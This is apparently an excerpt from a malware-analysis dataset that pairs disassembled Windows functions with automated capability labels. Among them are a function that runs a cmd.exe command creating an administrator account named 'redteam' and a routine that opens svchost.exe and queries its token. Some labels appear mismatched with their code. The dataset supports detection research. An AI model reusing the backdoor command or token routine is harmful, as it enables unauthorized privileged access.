joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001800
Capabilities:
Enumerate process modules

Disassembly:
push rsi
push r12
push r15
mov eax, 0x2290
call fcn.140002c50
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x2260], rax
xor esi, esi
lea rcx, [rsp + 0x50]
mov r12, r8
mov dword [rsp + 0x40], esi
mov r15, rdx
mov dword [rsp + 0x44], esi
lea r8, [rsp + 0x40]
mov qword [rsp + 0x30], rsi
mov edx, 0x2000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x1400019d9
mov qword [rsp + 0x2288], rbp
mov ebp, dword [rsp + 0x40]
shr ebp, 2
mov qword [rsp + 0x2280], rdi
mov edi, esi
test ebp, ebp
je 0x1400019b8
mov qword [rsp + 0x2278], r13
lea r13, str.svchost.exe
mov qword [rsp + 0x2270], r14
lea r14, [rsp + 0x50]
mov qword [rsp + 0x22b0], rbx
nop dword [rax]
mov r8d, dword [r14]
test r8d, r8d
je 0x140001982
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001982
lea r9, [rsp + 0x44]
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140001979
mov rdx, qword [rsp + 0x30]
lea r8, [rsp + 0x2050]
mov r9d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x140001979
lea rdx, [rsp + 0x2050]
mov rax, rsi
movzx ecx, word [r13 + rax*2]
cmp cx, word [rdx + rax*2]
jne 0x140001979
movzx ecx, word [r13 + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x140001979
add rax, 2
cmp rax, 0xc
jne 0x140001911
lea r8, [rsp + 0x38]
mov edx, 0x20008
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001979
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x48]
mov r9d, 4
mov dword [rsp + 0x48], esi
lea r8, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rsp + 0x4c], esi
ja 0x140001992
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add r14, 4
cmp edi, ebp
jb 0x1400018a0
jmp 0x1400019a0
movsxd rcx, edi
mov edx, dword [rsp + rcx*4 + 0x50]
mov dword [r15], edx
mov qword [r12], rbx
mov rbx, qword [rsp + 0x22b0]
mov r13, qword [rsp + 0x2278]
mov r14, qword [rsp + 0x2270]
mov rdi, qword [rsp + 0x2280]
mov rbp, qword [rsp + 0x2288]
cmp dword [r15], esi
je 0x1400019d9
cmp qword [r12], rsi
setne sil
mov eax, esi
jmp 0x1400019db
xor eax, eax
mov rcx, qword [rsp + 0x2260]
xor rcx, rsp
call fcn.140001d80
add rsp, 0x2290
pop r15
pop r12
pop rsi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004450]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x1400043f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004440]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001530
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rcx, str.cmd.exe__k_net_user_redteam_Newpasswd0000__addnet_localgroup_Administrators_redteam__add
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001820
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140002200
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000224c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140002243
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000224e
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400022e0
mov rdx, qword [0x1400043f0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400022ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400022ce
cmp word [rax + 0x18], 0x20b
jne 0x1400022ce
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400022e0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400022b9
add r12, 0x28
cmp r12, rsi
je 0x1400022e0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400022b0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400022f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002310
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002318
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002310
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002365
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000235c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002310
add rax, 0x28
cmp rax, r9
jne 0x140002348
xor eax, eax
ret

Function at 0x140002370
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002390
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002398
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002390
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023d0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002418
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000240f
test rcx, rcx
je 0x1400023d0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002400
xor eax, eax
ret
Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002440
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002448
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002460
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002480
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002488
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002480
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002480
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024d8
add rax, 0x28
cmp r9, rax
jne 0x1400024b0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002512
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002520
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002512
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002512
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002512
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000256d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002580
add rdx, 0x28
cmp r10, rdx
jne 0x140002558
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000258f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000259f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002576
test ecx, ecx
jg 0x140002588
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140006060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, rcx
movzx ebx, dl
mov rcx, qword [rcx + 0x38]
mov r14, r8
call qword [sym.imp.Qt5Core.dll_public:_char____ptr64___cdecl_QByteArray::begin_void____ptr64]
xor edi, edi
mov rsi, rax
shl ebx, 2
nop word [rax + rax]
mov edx, edi
mov eax, edi
shr edx, 2
and eax, 3
add edx, ebx
mov rcx, r14
imul edx, dword [rbp + 0x10]
add edx, eax
call qword [sym.imp.Qt5Core.dll_public:_char___cdecl_QByteArray::at_int_const___ptr64]
xor byte [rsi], al
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x10
jl 0x1400060a0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400060f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r14
push r15
sub rsp, 0x30
mov r15, r9
mov rbp, r8
mov rsi, rdx
xor edi, edi
mov dword [rsp + 0x20], edi
mov rcx, r8
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::begin_void_const___ptr64]
mov rbx, rax
mov rcx, r15
call qword [sym.imp.Qt5Core.dll_public:_char_const____ptr64___cdecl_QByteArray::begin_void_const___ptr64]
mov r14, rax
mov rcx, rsi
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QByteArray::constructor_void____ptr64]
mov dword [rsp + 0x20], 1
mov rcx, qword [r15]
mov r8d, dword [rcx + 4]
mov rcx, qword [rbp]
mov edx, dword [rcx + 4]
cmp r8d, edx
cmovl edx, r8d
test edx, edx
jle 0x140006190
sub r14, rbx
movzx r8d, byte [r14 + rbx]
xor r8b, byte [rbx]
mov edx, edi
mov rcx, rsi
call qword [sym.imp.Qt5Core.dll_public:_class_QByteArray____ptr64___cdecl_QByteArray::insert_int__char____ptr64]
inc edi
lea rbx, [rbx + 1]
mov rax, qword [r15]
mov edx, dword [rax + 4]
mov rax, qword [rbp]
mov ecx, dword [rax + 4]
cmp edx, ecx
cmovl ecx, edx
cmp edi, ecx
jl 0x140006161
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x1400086a0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x410], 0xfffffffffffffffe
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x3f8], 0
mov qword [rbp + 0x400], 2
mov qword [rbp + 0x408], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140008740
jmp 0x14000872f
jae 0x1400087ff
cmp r8, 0x201
jae 0x140008740
mov r14d, 0x200
lea r15, [rbp - 0x60]
mov r12, r8
jmp 0x140008797
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14000876f
lea rcx, [rbp + 0x3f8]
mov rdx, rbx
call fcn.140024360
mov rsi, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x408], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x1400087c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008879
mov r8d, r13d
cmp r12, r8
jne 0x140008720
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400088ad
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000872f
jmp 0x140008740
cmp r14, r8
jb 0x1400088c7
lea rcx, [rbp + 0x3c8]
mov rdx, r15
call fcn.14000a3b0
movups xmm0, xmmword [rbp + 0x3c8]
movups xmm1, xmmword [rbp + 0x3d8]
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmmword [rbp + 0x3a0], xmm0
mov rsi, qword [rbp + 0x3f0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3f8]
test rdx, rdx
je 0x140008862
mov rcx, qword [rbp + 0x400]
add rdx, rdx
mov r8d, 2
call fcn.140006340
mov rax, rsi
add rsp, 0x498
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3f0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3f8]
test rdx, rdx
jne 0x14000884d
jmp 0x140008862
lea rcx, str.internal_error:_entered_unreachable_code_rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140025130
jmp 0x1400088dc
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140025550
ud2
Function at 0x14000e7f0
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0xb0
mov rsi, rcx
movups xmm0, xmmword [0x1400f2c88]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x14000e828
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x88], rcx
test r9, r9
mov qword [rsp + 0x80], r9
lea rcx, [rsp + 0x88]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000e891
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000e8c5
test eax, eax
js 0x14000e8a5
mov rdx, qword [rsp + 0x68]
xor eax, eax
add rsp, 0xb0
pop rsi
ret
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb0
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x80]
call fcn.14000a0f0
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x78]
call fcn.140006df0
mov ecx, 7
int 0x29
ud2
Function at 0x140021850
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x1400218ca
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x1400218c0
cmp r11, r10
ja 0x140021955
cmp r10, rdx
ja 0x140021967
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x1400218c2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x1400218a0
jmp 0x140021937
ja 0x1400218ca
mov r11, r10
cmp rax, r8
jne 0x140021872
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14002193b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140021910
mov r8, r10
sub ecx, r9d
jns 0x14002192e
jmp 0x14002193d
cmp r10, rdx
je 0x140021949
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14002193d
xor al, 1
cmp r8, rdx
jne 0x1400218f0
jmp 0x14002193d
xor eax, eax
jmp 0x14002193d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140025020
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140025560
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140025550
int3
Function at 0x140001770
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x70
mov rax, qword [0x14000e080]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea r12, [rsp + 0x30]
add r10, r11
movabs r11, 0x170
call fcn.140007bb0
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x1400018c0
inc qword [r12 + 8]
cmp byte [rcx + 0x71], 0
je 0x1400018c0
mov rax, qword [rcx]
mov edx, 0xffffffff
mov r10, qword [rax + 0x18]
movabs r11, 0x48
call fcn.140007cf0
call qword [rax + 0x18]
inc qword [r12 + 0x10]
mov edx, eax
mov ecx, 0xffffffff
mov r11, qword [rsp + 0x30]
movabs r10, 1
call fcn.140001590
test al, al
je 0x140001811
xor al, al
jmp 0x1400018c2
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x40]
mov rcx, qword [rbx + 0x68]
inc qword [r12 + 0x18]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
inc qword [r12 + 0x20]
movsxd r10, eax
lea r11, [0x1400097d8]
call fcn.140007e30
test eax, eax
je 0x140001866
sub eax, 1
je 0x14000186a
cmp eax, 2
je 0x14000185e
xor al, al
jmp 0x1400018c2
mov byte [rbx + 0x71], 0
mov al, 1
jmp 0x1400018c2
mov byte [rbx + 0x71], 0
lea rax, [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov edi, 1
sub rsi, rax
je 0x1400018ad
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, edi
lea rcx, [rsp + 0x40]
inc qword [r12 + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
inc qword [r12 + 0x30]
cmp rsi, rax
je 0x1400018ad
inc qword [r12 + 0x38]
xor al, al
jmp 0x1400018c2
cmp byte [rbx + 0x71], 0
je 0x1400018ba
inc qword [r12 + 0x40]
xor edi, edi
movzx eax, dil
jmp 0x1400018c2
mov al, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140003d60
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret

Function at 0x140004704
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000474e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000474e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000474e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000474e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000474e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004750
xor al, al
add rsp, 0x28
ret
Function at 0x140006cf0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x50
mov rax, qword [0x14000e080]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [0x14000e118]
inc qword [r12 + 0x1b0]
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x140006d2d
xor eax, eax
jmp 0x140006ed8
cmp qword [rcx + 0x68], 0
je 0x140006d4f
inc qword [r12 + 0x1b8]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
inc qword [r12 + 0x1c0]
jmp 0x140006ed8
mov qword [rsp + 0x30], rdi
inc qword [r12 + 0x1c8]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
inc qword [r12 + 0x1d0]
mov qword [rsp + 0x38], rax
test rax, rax
jbe 0x140006de4
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
movabs r11, 0x324
movabs r10, 2
call fcn.140001c90
mov rbx, qword [rax]
mov rcx, rsi
inc qword [r12 + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
inc qword [r12 + 0x1e0]
mov r8, rbx
mov rdx, rax
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
add rbp, rbx
sub qword [rsp + 0x30], rbx
mov edx, ebx
mov rcx, rsi
inc qword [r12 + 0x1e8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
inc qword [r12 + 0x1f0]
cmp qword [rsi + 0x80], 0
je 0x140006ecd
mov rcx, rsi
inc qword [r12 + 0x1f8]
movabs r11, 0x324
movabs r10, 1
call fcn.140001970
inc qword [r12 + 0x200]
mov qword [rsp + 0x20], 0x220
mov rcx, qword [rsp + 0x30]
nop dword [rax]
cmp rcx, 0xfff
jbe 0x140006e8d
mov qword [rsp + 0x20], 0x218
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rbp
inc qword [r12 + 0x208]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
inc qword [r12 + 0x210]
add rbp, rax
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov qword [rsp + 0x30], rcx
cmp rax, 0xfff
je 0x140006e30
sub rdi, rcx
mov rax, rdi
jmp 0x140006ed8
mov r11, qword [rsp + 0x20]
inc qword [r12 + r11]
test rcx, rcx
jbe 0x140006ed2
mov r9, qword [rsi + 0x80]
mov r8, rcx
mov edx, 1
mov rcx, rbp
inc qword [r12 + 0x228]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
inc qword [r12 + 0x230]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
jmp 0x140006ed2
mov rcx, qword [rsp + 0x30]
sub rdi, rcx
mov rax, rdi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140003d60
add rsp, 0x50
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret